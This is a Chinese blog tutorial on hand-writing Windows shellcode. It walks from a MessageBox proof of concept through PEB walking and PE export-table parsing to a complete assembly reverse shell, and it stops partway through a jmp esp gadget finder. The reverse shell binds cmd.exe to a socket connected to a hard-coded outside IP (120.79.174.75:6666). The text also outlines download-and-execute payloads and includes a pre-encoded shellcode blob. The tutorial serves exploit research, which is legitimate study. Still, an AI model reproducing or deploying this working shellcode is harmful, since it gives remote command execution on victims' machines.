如何在WIndows下編寫一個shellcode?為什麼會問這個問題,前段時間在做win下的Exploit,但是都是使用大佬寫的shellcode,無法實現個人的一些需求。而網絡上編寫shellcode的教程大多是關於Linux的,加之順帶學習PE文件結構,所以打算寫一篇關於Windows 下shellcode的編寫,為要編寫Shellcdoe的讀者提供一些參考。
摘要:在C語言中,調用一個函數,編寫者無需關心函數地址是如何獲取的,所有的操作IDE在進行連結的時候幫助我們完成了。但是在shellcode中,這些操作都需要我們自己去完成,理解PE結構,理解函數表,這些都是shellcode編寫最有魅力的一部分。
本文的邏輯首先是從C代碼著手,學習如何使用彙編重現的基礎,編寫一個無移植性的shellcode作基礎引導。在掌握了硬編碼編寫之後,通過掌握獲取函數導出表,編寫能夠在所有Windows版本上運行的通用shellcode。
這篇文章時間跨度比較久遠,起筆還是暑假在貴陽的時候,後來做了一段時間WEB安全,這篇文章便寫了一小半就爛尾了。後來投入到Win/Browser下漏洞的懷抱中(最近又回Ubuntu了,渣男。出戲:陸司令:何書桓!你在我的兩個女兒之間跳來跳去,算什麼東西!),需要在WIN7下做一些自定義shellcode,自己之前自定義的shellcode居然無法在WIN7下運行,於是想起這篇未完工的文章,藉此對shellcode編寫做一次總結與複習。
0x00 創建自己的SC實驗室
當我們創建自己的shellcode實驗室時候,我們必須清楚無論是自己編寫的,亦或者是網絡上獲取的shellcode,我們都需要對其的行為有一個深刻的了解。
首先是安全性,要做的就是在一個相對安全的環境下進行測試(例如虛擬機),以保證不會被黑吃黑。
其次,這個測試方法要足夠方便。不能將shellcode隨意的扔到自己寫的Exploit中進行測試,因為大多數Exploit對shellcode的格式要求是非常嚴格的,尤其是棧溢出方面的漏洞。初期編寫的shellcode可能包含大量Null字節,容易被strcpy截斷。(比如筆者寫的shellcode基本都通不過棧溢出的測試。。汗,一般直接扔到Browser的Exploit裡)
下面是我們的shellcode調試環境,如果是WIN7以後的版本需要將DEP選項關閉。
Shellcode-lab
調試一段shellcode
環境:windows xp sp0
編譯器:VC++6.0
char shellcode[]="xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5"
"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6a"
"x00x53xffxd5x6ex6fx74x65x70x61x64x2ex65x78x65"
"x00";
int main(int argc,char **argv)
{
/*方法一 VC++6.0 error報錯*/
/*
int(*func)(); //創建一個函數指針func
func=(int (*)())shellcode; //將shellcode的地址賦值給func
(int)(*func)();//調用func
*/
/*方法二 asm*/
__asm
{
lea eax,shellcode
push eax
ret
}
//PS:第二種方法只有關閉NX/DEP才行(XP下就沒有這個問題)
}
0x01從C到shellcode
shellcode大多是包含很多惡意行為的代碼,就如它名字由來的那樣 「獲取shell的代碼」。
但是在漏洞大多數復現中,我們需要做的僅僅是證明自己能夠利用,所以我們編寫的shellcode需要滿足無害性和可見性。例如彈出一個計算器,或者如下面的C代碼一樣,讓Exploit彈出一個極具個人風格的MessageBox也是一個不錯的選擇。
C實現非常簡單,只需要調用MessageBox函數,寫入參數。
#include<windows.h>
int main(int argc,char** argv)
{
MessageBox(NULL,"You are hacked by Migraine!","Pwned",MB_OK);
}
放入IDA,查找到Main函數的位置。
可以查看反彙編,四個參數分別PUSH入棧,然後調用MessageBoxA
MSDN對MessageBox的描述
放入IDA,查找到Main函數的位置。
可以查看反彙編,四個參數分別PUSH入棧,然後調用MessageBoxA
MSDN對MessageBox的描述
int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaptioUINT uType );
在OD中下斷點調試,得到同樣的結果。
基於調試可知,MessageBoxA從USER32.DLL加載到內存的地址為0x77D3ADD7
當然這個地址是非常不穩定的,受到作業系統版本還有很多因素(例如ASLR)的影響
不過為了簡便shellcode,目前將這部分先放一放。
在我們編寫的另一個程序中(見下文),發現這個函數依舊被映射到了同一個位置
因為XP沒有開啟ASLR的緣故,DLL加載的基地址不會變化
值得注意的是該程序需要調用USER32.DLL,否則需要手動LoadLibrary
但是現在這段C生成的代碼,直接提取字節碼是行不通的。
函數的參數被放在了該程序的Rodata段中調用,與地址無關的段。
而我們要求shellcode能在任何環境下運行,需要保證參數可控,即需要將參數入棧,然後再調用。
接下來用彙編重寫一遍(C嵌入asm)
通過自己將數據入棧,然後調用MessageBoxA
void main()
{
LoadLibrary("user32.dll");//Load DLL
__asm
{
push 0x00656e;ne
push 0x69617267;grai
push 0x694d2079;y Mi
push 0x62206565;ed b
push 0x6b636168;hack
push 0x20657261;Are
push 0x20756F59;You
mov ebx,esp
push 0x0
push 0x656e6961;aine
push 0x7267694d;Migr
mov ecx,esp
//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
xor eax,eax
push eax//uTyoe->0
push ecx//lpCaption->Migraine
push ebx//lpText->You are hacked by Migraine
push eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi
}
}
將ASM提取字節碼
再OD中查看這一段ASM
使用UltraEditor查看16進位字節碼,然後找到我們的ASM,複製便成功提取了我們的shellcode
68 6E 65 00 00 68 67 72 61 69 68 79 20 4D 69 68
65 65 20 62 68 68 61 63 6B 68 61 72 65 20 68 59
6F 75 20 8B DC 6A 00 68 61 69 6E 65 68 4D 69 67
72 8B CC 33 C0 50 51 53 50 BE D7 AD D3 77 FF D6
5F 5E 5B 83 C4 40 3B EC E8 97 3B FF FF
調整一下格式,便獲取到了shellcode
char shellcode[]="x68x6Ex65x00x00x68x67x72x61x69x68x79x20x4Dx69x68"
"x65x65x20x62x68x68x61x63x6Bx68x61x72x65x20x68x59"
"x6Fx75x20x8BxDCx6Ax00x68x61x69x6Ex65x68x4Dx69x67"
"x72x8BxCCx33xC0x50x51x53x50xBExD7xADxD3x77xFFxD6"
"x5Fx5Ex5Bx83xC4x40x3BxECxE8x97x3BxFFxFF";
放入上文搭建的shellcode調試環境,添加LoadLibrary(「user32.dll」);以及頭文件#include<windows.h>
在WInodws xp下運行效果理想
去除null字節
這裡使用xor配合sub就能夠完全去除null,還有一些其他方法,使用16位寄存器避免null字節,在《exploit編寫教程》上面都有詳細的介紹,就不再重複造輪子了。
__asm
{
mov eax,0x1111767f
sub eax,0x11111111
push eax
push 0x69617267;grai
push 0x694d2079;y Mi
push 0x62206565;ed b
push 0x6b636168;hack
push 0x20657261;Are
push 0x20756F59;You
mov ebx,esp
xor eax,eax
push eax
push 0x656e6961;aine
push 0x7267694d;Migr
mov ecx,esp
xor eax,eax
push eax
push ecx
push ebx
push eax
mov esi,0x77D3ADD7
call esi
}
此時生成的shellcode就不存在x00了
0x02編寫更穩定Shellcode
如何提高shellcode 的可移植性一直是一個需要我們在一的問題。
前文我們編寫的MessageBoxA的地址是硬編碼的,導致這段shellcode只能利用於windows xp sp0。
但是Windows並不支持像Linux那樣的int 0x80中斷呼叫函數的操作,於是唯一的方法就是通過PE文件中的函數導出表獲取函數此刻的地址,這個方法在提高可移植性的同時,還可以一勞永逸地解決ASLR帶來的地址偏移問題。
1. 動態定位kernel32.dll不同版本的作業系統,kernel32.dll的基地址也是不同的。Windows沒有linux那樣方便的中斷機制來調用系統函數,所以只能通過基址+偏移地址來確定函數的位置。
通過PEB獲得基址
我們可以通過Windbg解析PEB(WindowsXP符號表已經不再支持自動下載)
所以手動下載安裝WindowsXP-KB936929-SP3-x86-symbols-full-ENU.exe
但是碰到一些問題,所以在Windows10下用Windbg(x86)進行PEB分析
使用windbg加載任意一個x86程序,會出現break,等待到出現int 3即可進行操作
!peb可以自動分析,可以查詢到KERNEL32.DLL的地址。
PEB是進程環境塊,由TEB線程環境塊偏移0x30位元組。我們這裡需要直到查找地址的原理。
大概流程是通過FS段選擇器找到TEB,通過TEB找到PEB,然後獲取kernel和ntdll的地址。
接下來我們在windbg中,來手工實現PEB結構分析,之後會使用彙編完成Kernel基址的讀取。
查看PEB結構
直接查看LDR結構
偏移0xc,選擇InLoadOrderModuleList
查看這個_LIST_ENTRY結構
_LIST_ENTRY 是一個存放雙向鍊表的數據結構(包含於_LDR_DATA_TABLE_ENTRY)
_LDR_DATA_TABLE_ENTRY是存放載入模塊信息的結構,並且是由_LIST_ENTRY這個雙向鍊表串聯起來。
由三種串聯方式,區別僅在於排列順序(上文我們偏移0x14選擇InMemoryOrderModuleList )
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x51c00 - 0x78f6b88 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x51c08 - 0x78f6b90 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x51c90 - 0x78f6b98 ]
第一個_List_ENTRY指向的地址是0x51c08(因為InMemoryOrderModuleList的指針指向的是下一個結構的InMemoryOrderModuleList,而不是_LDR_DATA_TABLE_ENTRY的結構頭,需要偏移0x8)
查看對應的_LDR_DATA_TABLE_ENTRY結構,得知這是iexplore.exe(調試的宿主程序)的基地址為0x01120000(DLLBase)
接下來順著LIST_ENTRY,往下尋找結點。發現kernel在第三個結點。
查看這個地址的_LDR_DATA_TABLE_ENTRY結構
通過這兩次觀察,可以發現,實際上這個結構體的第一個結構就是_List_ENTRY,負責將這些_LDR_DATA_TABLE_ENTRY結構串聯成鍊表。
偏移0x18可以得出DllBase為0x77e10000
成功獲取Kernel的基地址。
用接下來用彙編實現kernel地址的讀取
原理是在InMemoryOrderModuleList結構中,kernel位置固定為第三個。
global CMAIN
CMAIN:
mov ebp, esp; for correct debugging
xor ebx,ebx
mov ebx,[fs:0x30] ;TEB+0x30->PEB
mov ebx,[ebx+0xc] ;PEB+0xc->LDR
mov ebx,[ebx+0x14] ;LDR+0x14->InMemoryOrderModuleList-->_LIST_ENTRY第一個節點->??.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第二個節點->ntdll.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第三個節點->Kernel.dll
mov ebx,[ebx+0x10]; DllBase偏移0x18減去指向偏移0x8;下文會詳細分析
xor eax, eax
ret
使用SASM調試,在結尾下斷點,發現ebx已經成功賦值為了kernel的地址,與windbg顯示的一致。(此處的彙編代碼是之前在另一臺機器上做的實驗,所以kernel地址不同,希望不要引起爭議)
使用命令!peb
如果需要在VS下編譯,也可採用內聯彙編實現。
int _tmain(int argc, _TCHAR* argv[])
{
int kernel32=0;
_asm{
xor ebx,ebx
mov ebx,fs:[0x30]
mov ebx,[ebx+0xc]
mov ebx,[ebx+0x14]
mov ebx,[ebx];ntdll
mov ebx,[ebx];kernel
mov ebx,[ebx+0x10];DllBase
mov kernel32,ebx
}
printf("kernel32=0x%x",kernel32);
getchar();
return 0;
}
上述代碼中(SASM),比較需要注意的第15行為ebx+0x10而不是0x18(_LDR_DATA_TABLE_ENTRY結構中標準的DllBase偏移)
主要原因是InMemoryOrderLinks的指針指向的是下一個_LDR_DATA_TABLE_ENTRY的InMemoryOrderLinks(結構偏移0x08),所以需要該地址減去-0x8才是正確的文件頭(圖中案例0x954dd0-0x8)
所以當ebx存放InMemoryOrderLinks的指針時,要獲取DllBase需要偏移0x18-0x8=0x10
至此我們已經獲取到了kernel32.dll的基地址,獲取這個地址的方法還有很多方法,使用SEH、TEB都可以間接獲取Kerne32的地址,如果有需要可以參考《Exploit編寫系列教程》。還有需要注意的是不同系統下,某些獲取方法可能會失效,這次實驗的測試環境(Win7)下的尋址就和之前的系統有一些不同,所以可能不會向前兼容,不過通過windbg對單個系統進行符號調試,是很容易發現區別的並且修改方案。
2. 獲取函數地址在理解這部分之前,我們首先需要對PE格式有一定的了解。就從我們剛才獲取了基地址的Kernel32作為基礎,一步步看如何獲取系統API函數的地址。
首先從DOS頭開始,Windbg能夠使用符號表來對地址進行解析。
解析_IMAGE_DOS_HEADER結構,我們只需要了解e_lfanew欄位,指向PE頭,該欄位在在DOS頭偏移0x3c的位置。
之前的kernel基址加上e_lfanew欄位的偏移(0n開頭表示十進位)是指向PE頭的指針。
獲取了PE頭指針,我們即可以使用windbg解析PE頭的_IMAGE_NT_HEADERS結構
_IMAGE_FILE_HEADER 是一個結構體,包含代碼數目、機器類型以及特徵等信息。
而我們這裡需要使用的結構體是_IMAGE_OPTIONAL_HEADER
繼續利用windbg分析,經過兩次分析,現在的讀者應該也已經輕車熟路了。
分析_IMAGE_OPTIONAL_HEADER,其包含以下幾個信息。
很顯然,偏移0x60的DataDirectory段就是函數導出表的偏移。
AddressOfEntryPoint:exe/dll 開始執行代碼的地址,即入口點地址。
ImageBase:DLL加載到內存中的地址,即映像基址。
DataDirectory-導入或導出函數等信息。
繼續解析這個結構,終於獲取到了這個結構到VA。
因為我們之前的解析都沒有用到指針,所以可以一起算VA偏移PE頭一共0x78位元組(240是PE偏移DOS,是動態獲取)
獲取到DATA DIRECTORY結構到VirtualAddress地址
我們關心的主要有三個數組結構
AddressOfFunctions:指向一個DWORD類型的數組,每個數組元素指向一個函數地址。
AddressOfNames:指向一個DWORD類型的數組,每個數組元素指向一個函數名稱的字符串。
AddressOfNameOrdinals:指向一個WORD類型的數組,每個數組元素表示相應函數的排列序號
AddressOfNames的結構是一個數組指針,每個機器位(4位元組)都指向一個函數名的字符串。
所以我們可以通過遍歷這個數組,結合字符串匹配獲取到該函數的序號。
AddressOfNameOrdinals存放這對應函數的索引值,在獲取了函數的序號之後,按照序號查找函數索引值。
需要注意的是每個索引值佔2位元組。
例如第三個函數ActivateActCtx函數的索引值為4
AddressOfFunctions則根據索引排序,存放著函數的地址。
地址加上0x10[索引4位元組*指針4位元組]存放ActivateActCtx函數的偏移地址。
我們使用彙編來實現這一過程,接著上面的彙編代碼,此時的EBX存放Kernel32的地址。
;從Kernel32的PE頭,獲取DATA DIRECTORY的地址
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY
;將字符串與AddressOfNames 數組匹配,獲得函數的序號
;compare string
xor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;通過序號在AddressOfNameOrdinals中獲取索引
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
;通過索引在AddressOfFunctions中獲取函數地址,存放於EDX
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcAddress
此時我們已經獲取了GetProcAddress函數的地址,所有關於PE文件的內容到這裡也就結束了,之後我們就可以想C語言一樣非常容易地調用一個函數。我們已經度過了編寫shellcode最黑暗的過程,接下來迎接著我們的將是一條康莊大道。
通過GetProcAddress,我們首先可以使用獲取LoadLibrary函數的地址,該函數可以用來加載user32模塊,同時獲取其基地址。這部分就比較簡單了,直接貼代碼。
;Get LoadLibrary
xor ecx,ecx
push ebx ;Kernel32 入棧備份
push edx ;GerProcAddress 入棧備份
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress(Kernel32,"LoadLibraryA")
add esp,0xc ;pop "LoadLibraryA"
pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
到這裡,有一定彙編和WIN32基礎的讀者已經可以編寫shellcode邏輯了,思路即通過GetPrcAddress函數獲取需要的函數地址,能結合完成各項功能,剩下的部分就需要讀者發揮自己天才的想像力了。
文末會提供一個完整編寫的shellcode作為案例。
0x03三種經典的shellcode形式
Shellcode在功能性上的實現,主要分為以下三大類
分別是下載惡意文件執行、程序本身捆綁文件還有直接反彈shell獲得控制權
在內核層面則還有提權等操作,這裡只對應用層shellcode功能實現做一個歸類。
調用URLDownloadToFile函數下載惡意文件到本地,並且使用Winexec執行
函數原型
HRESULT URLDownloadToFile(
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);
通過GetFileSize獲取文件句柄,獲取釋放路徑(GetTempPathA),設置好文件指針(SetFilePoint),使用VirtualAlloc在內存中申請一塊內存,再將數據讀取(ReadFile)寫入到本地文件(CreateFIle WriteFile),最後在對該文件執行。
(3)反彈shell反彈shell屬於無文件攻擊,使用socket遠程獲得對方的cmd.exe。優點是不容易留下日誌,適合滲透測試中使用,缺點也很明顯,維持連接的穩定性較差。
在Windows下實現反彈shell,比Linux多了一個步驟,啟動或者初始化winsock庫,之後創建cmd.exe進程然後TCP連接埠/打開監聽方法都是相近的。
需要注意的使用C編程可以使用Socket結合雙管道進行通信,但是用彙編管道編寫比較麻煩。不建議使用管道來進行通信。解決方案是使用WSASocket代替Socket,這個函數支持IO重疊。
函數原型
SOCKET WSASocket (
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
);
這裡我們主要針對第三種功能,實現一個無管道的反彈shell代碼。
因為篇幅較長,這裡使用C++實現,接下來只需要用彙編調用函數實現即可。
本部分參考博客:https://blog.csdn.net/PeterZ1997/article/details/79448916
實現環境
WIN7 SP1
VS2010
首先實現一個TCP連接,使用nc做連接測試。
WSASocket的使用與Socket基本一致,多出來的參數設置為NULL即可。
包含頭文件WinSock2.h和winsock.h
WSADATA wsd;
WSAStartup(0x0202,&wsd);
SOCKET socket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
SOCKADDR_IN sin;
sin.sin_addr.S_un.S_addr=inet_addr(REMOTE_ADDR);
sin.sin_port=htons(REMOTE_PORT);
sin.sin_family=AF_INET;
connect(socket,(sockaddr*)&sin,sizeof(sin));
send(socket,"[+]Hello!n",strlen("[+]Hello!n"),0);
接下來將使用CreateProcess為cmd.exe創建子進程,然後將標準輸入、標準輸出、標準錯誤輸出都綁定到socket上。(這部分在Linux下實現比起Windows就簡單多了,可以直接重定向)
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb=sizeof(STARTUPINFO);
si.hStdInput=si.si.hStdOutput=si.hStdError=(HANDLE)socket;
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
TCHAR cmdline[255]=L"cmd.exe";
while(!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)){
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
在彙編編寫中,可以講首先計算出關鍵函數和DLL的基地址並且放入棧幀,方便隨時調用。
socket類的函數(WSAStartup、connect)如果執行成功EAX會返回0,如果失敗會返回-1(0xFFFFFFFF)
以上程序實現函數的來源
Kernel32.dll
CreateProcessA
GetStartupInfoA
LoadLibraryA
ws2_32.dll
WSAStartup
WSASocketA
connect
使用彙編編寫
初始化部分(代碼量較大,僅做參考,速讀的讀者可以暫時跳過這部分)
nop
nop
nop
;get the address of kernel32.dll
xor ecx,ecx
mov eax,fs:[0x30];EAX=PEB
mov eax,[eax+0xc];EAX=PEB->LDR
mov esi,[eax+0x14];ESI=PEB->Ldr.lnMemOrder
lodsd ;mov eax,[esi];esi+=4;EAX=SecondMod->ntdll
xchg eax,esi
lodsd ;EAX=ThirdMod->kernel
mov ebx,[eax+0x10] ;EBX=kernel->DllBase
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY
;compare string
xor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx
Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcessAddress
;EDX=GetProcAddr
;EBX=kernel32
;get CreateProcess address
xor ecx,ecx
push ebx ;Kernel32
push edx;GetProcAddr
mov cx,0x4173;sA
push ecx ;sA
push 0x7365636F;oces
push 0x72506574;tePr
push 0x61657243;Crea
push esp ;"CreateProcessA"
push ebx
call edx;GetProcAddr("CreateProcessA")
add esp,0x10 ;clean stack
push eax ;CreateProcessA
;CreateProcessA <--esp
;GetProcAddr <-- esp+4
;Kernel32 <--esp+8
//mov ebx,[esp+8];Kernel32
mov edx,[esp+4];GetProAddr
;get GetStartupInfo address
mov ecx,0x416F66
push ecx;foA
push 0x6E497075;upIn
push 0x74726174;tart
push 0x53746547;GetS
push esp
push ebx ;Kernel32
call edx ;GetProAddresss("GetStartupInfoA")
add esp,0x10;clean stack
push eax ;GetStartupInfoA
mov edx,[esp+8];GetProAddr
;Get LoadLibrary
xor ecx,ecx
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress("LoadLibraryA")
add esp,0xc ;pop "LoadLibraryA"
pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
mov cx,0x3233 ; 32
push ecx;
push 0x5F327377 ; ws2_
push esp ; "ws2_32"
call eax ; LoadLibrary("ws2_32.dll")
;MessageBoxA address
add esp,0x8 ;pop "ws2_32.dll"
push eax
;ws2_32.dll <--esp
;LoadLibraryA <--esp+4
;GetStartupInfoA <--esp+8
;CreateProcessA <--esp+0c
;GetProcAddr <-- esp+0x10
;Kernel32 <--esp+0x14
mov edx,[esp+0x10] ;GetProcAddress
xor ecx,ecx
mov cx,0x7075;up
push ecx
push 0x74726174;tart
push 0x53415357 ;WSAS
push esp ;"WSAStartup"
push [esp+0x10];ws2_32.dll
call edx;GetProcAddress("WSAStartup")
add esp,0xc
push eax;WSAStartup
mov edx,[esp+0x14] ;GetProcAddress
mov ebx,[esp+4];ws2_32.dll
xor ecx,ecx
mov cx,0x4174;
push ecx ;tA
push 0x656B636F ;ocke
push 0x53415357 ;WSAS
push esp ;"WSASocket"
push ebx;ws2_32.dll
call edx;GetProcAddress("WSASocket")
add esp,0xc
push eax;WSASocket
mov edx,[esp+0x18] ;GetProcAddress
mov ebx,[esp+8];ws2_32.dll
xor ecx,ecx
push 0x746365 ;ect
push 0x6E6E6F63 ;conn
push esp ;"connect"
push ebx;ws2_32.dll
call edx;GetProcAddress("connect")
;inet_addr
add esp,0x8
push eax;connect
mov edx,[esp+0x1c] ;GetProcAddress
mov ebx,[esp+0xc];ws2_32.dll
xor ecx,ecx
mov cx,0x72;
push ecx;r
push 0x6464615F;_add
push 0x74656E69;inet
push esp ;"inet_addr"
push ebx;ws2_32.dll
call edx;GetProcAddress("inet_addr")
;htons
add esp,0xc
push eax;
mov edx,[esp+0x20] ;GetProcAddress
mov ebx,[esp+0x10];ws2_32.dll
xor ecx,ecx
mov cx,0x73
push ecx;s
push 0x6E6F7468;hton
push esp ;"htons"
push ebx;ws2_32.dll
call edx;GetProcAddress("htons")
add esp,0x8
push eax
;htons <--esp
;inet_addr <--esp+4
;connect <--esp+8
;WSASocket <--esp+0xc
;WSAStartup <--esp+0x10
;ws2_32.dll <--esp+0x14
;LoadLibraryA <--esp+0x18
;GetStartupInfoA <--esp+1c
;CreateProcessA <--esp+0x20
;GetProcAddr <-- esp+0x24
;Kernel32 <--esp+0x28
編寫Socket部分
到這裡,我們的程序已經能和伺服器建立TCP連接了
/*Socket部分*/
//WSTartup(0x202,&WSADATA,)
sub esp,0x20
mov eax,[esp+0x30]
push esp;lpWSADATA
push 0x202;wVersionRequested
call eax //if eax->0 sucess.else fail
//WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0)
mov eax,[esp+0x2c];WSASocket
xor ecx,ecx
push ecx
push ecx
push ecx
mov cx,0x6
push ecx
mov cx,0x1
push ecx
inc ecx
push ecx
call eax
push eax; //push socket
//inet_addr(120.79.174.75)
mov eax,[esp+0x28] ;inet_addr
xor ecx,ecx
mov cx,0x35
push ecx;5
push 0x372E3437;74.7
push 0x312E3937;79.1
push 0x2E303231;120.
push esp;
call eax;
add esp,0x10
push eax;push Remote_addr -->sa_data+2
//htons(6666)
mov eax,[esp+0x28] ;htons
push 0x1A0A ;6666
call eax
mov edx,[esp+0x30];connect
//Store sock_addr
push ax;push Remote_ports -->sa_data
mov ax,0x2
push ax;push AF_INET -->sa_family
mov ebx,esp; store sock_addr
//Connect(socket,&sock_addr,sizeof(sock_addr));
/*
00000000 sockaddr struc ; (sizeof=0x10, align=0x2, copyof_12)
00000000 ; XREF: _wmain_0/r
00000000 sa_family --> AF_INET(2) ; XREF: _wmain_0+80/w
00000002 sa_data --> htons(REMOTE_PROT) ; XREF: _wmain_0+75/w
00000004 sa_data+2 --> inet_addr(REMOTE_ADDR) ; _wmain_0+9B/w
00000010 sockaddr ends
*/
push 0x10 ; sizeof(sock_addr)
push ebx ;scok_addr
push [esp+0x10];socket
call edx ;connect ; server#nc -l 6666 (close fire wall)
在本地創建cmd.exe子進程
注意這兩個語句也需要實現,否則只能在本地打開一個shell
#define STARTF_USESTDHANDLES 0x00000100
即使用父進程的句柄(我們的Socket也是一個句柄)而不是全新的句柄。
//si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//si.wShowWindow=SW_HIDE;
/*創建cmd.exe子進程*/
/*
00000000 _STARTUPINFOW struc ; (sizeof=0x44, align=0x4, copyof_14)
00000000 ; XREF: _wmain_0/r
00000000 cb ->size 44 ; XREF: _wmain_0+134/w
00000004 lpReserved dd ? ; offset
00000008 lpDesktop dd ? ; offset
0000000C lpTitle dd ? ; offset
00000010 dwX dd ?
00000014 dwY dd ?
00000018 dwXSize dd ?
0000001C dwYSize dd ?
00000020 dwXCountChars dd ?
00000024 dwYCountChars dd ?
00000028 dwFillAttribute dd ?
0000002C dwFlags <--0x100
00000030 wShowWindow dw
00000032 cbReserved2 dw ?
00000034 lpReserved2 dd ? ; offset
00000038 hStdInput ->socket ; XREF: _wmain_0+159/w ; offset
0000003C hStdOutput ->socket ; XREF: _wmain_0+14D/w
00000040 hStdError ->socket ; XREF: _wmain_0+141/w
00000040 ; _wmain_0+147/r ; offset
00000044 _STARTUPINFOW ends
00000044
*/
//init _STARTUPINFO
mov esi,[esp+0x8]
push esi; push hStdError
push esi; push hStdOutput
push esi; push StdInput
xor esi,esi
xor ecx,ecx
push esi;
push esi;
push 0x100; dwFlags
mov cx,0xa
PUSH_NULL:
push esi
loop PUSH_NULL
mov ecx,0x44 ;cb
push ecx
mov edx,esp ;_STARTUPINFO
mov ebx,[esp+0x90];CreateProcess
push 0x657865;exe
push 0x2E646D63;cmd.
mov esi,esp ;"cmd.exe"
//CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)
push edx;&pi
push edx ;&si
xor ecx,ecx
push ecx;NULL
push ecx;NULL
push ecx;NULL
inc ecx
push ecx;TRUE
sub ecx,0x1
push ecx;NULL
push ecx;NULL
push esi;cmdline
push ecx;NULL
call ebx;CreateProcess
push eax
在執行call之後,你的伺服器會得到一個windows的反彈shell。生成Unicode碼之後,繼續用可憐的IE8來做實驗。
0x04 shellcode布置技術
我們知道在棧溢出中,可以將shellcode布置在棧空間的不同位置,同樣在實際漏洞利用中,尤其在棧溢出已經落寞的今天,堆利用中,布置shellcode方法更是層出不窮,筆者也無法將所有的方案匯總全面,就僅對目前常見的幾種布置技術做個總結。
Jmp esp /ROP在Windows中使用jmp esp(跳板技術)的頻率遠遠高於linux(雖然這種技術在linux下也可用),比起將shellcode放在ret地址後面,將shellcode放在棧頂能有效減少空間。通過調用jmp esp將程序跳轉到shellcode。
雖然在DEP和ASLR盛行的年代,這個技術也早已不再有用武之地。但除了對於研究歷史漏洞幫助,該技術還是引入ROP這個概念的一個前置知識,在學習了ROP之後,你會忽然領悟的。
這次讓我們放下windbg,自己動手編程實現尋找jmp esp
編程實現尋找gadget
以jmp esp為案例,尋找user32.dll中的所有jmp esp地址。
#include "stdafx.h"
#include<windows.h>
#define DLL_Name "user32.dll"
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE handle=LoadLibraryA(DLL_Name);
if(!handle){
printf("load dll errorn");
exit(0);
}
printf("Load success...n");
